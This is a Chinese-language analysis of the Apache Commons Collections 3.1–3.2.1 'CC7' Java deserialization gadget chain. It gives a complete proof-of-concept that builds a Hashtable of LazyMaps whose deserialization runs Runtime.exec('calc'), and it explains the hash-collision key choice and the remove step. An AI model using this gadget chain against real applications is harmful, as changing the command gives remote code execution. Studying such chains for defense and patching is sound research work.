Apache-Commons-Collections 7
目录
版本
CommonsCollections 3.1 - 3.2.1
利用链
HashTable.readObject()
HashTable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
在Hashtable#readObject中存在如下代码块
存在方法reconstitutionPut,进行跟进
这里会将两个LazyMap用AbstractMapDecorator#equals 进行比较。这里的两个key值就分别代表着两个LazyMap。
跟进后发现又有一个equals方法,跟进来到AbstractMap#equals
发现会对传入的TiedMapEntry调用get方法
这样看,链就明了了。
POC分析1
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
我们发现此处put的值是yy和zZ,我们如果put其他值的话是不能完成这条链的。我们看这个地方。
hash方法在这里会获取key值(在这里就是LazyMap对象)的key值的hash。 所以这里会判断hashtable中的两个key值(也就是两个LazyMap对象)的key值hash是否相同,只有相同才能下一步。 而yy和zZ的hash值在java中是相同的
这个时候可能会有疑问,为什么LazyMap的key值不能设成一样的呢?因为设成一样的会造成如下问题
在readObject时会造成elements元素的值为1
elements值为1,则在此处只能进行一次循环,导致Hashtable#equals方法不能被执行(Hashtable#equals方法需要至少两个hashtable中的key值才能执行,具体逻辑见上文)。
POC分析2
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
我们在序列化前对hashtable进行第二次put操作时,也会调用equals方法
从而会触发lazymap2的get方法,我们这里会发现调用了put方法向lazymap2增加了键值对。
进而导致lazymap2的结构变成了这样
可以发现在value处存在一个ProcessImpl对象,这个对象没有实现序列化接口,不能被序列化,所以如果没有lazymap2.remove("yy"),就会导致在序列化时出现错误。
所以通过lazymap2.remove("yy"),可以帮助我们剔除在hashtable#put时添加进lazymap2中的不可序列化的对象,实现序列化。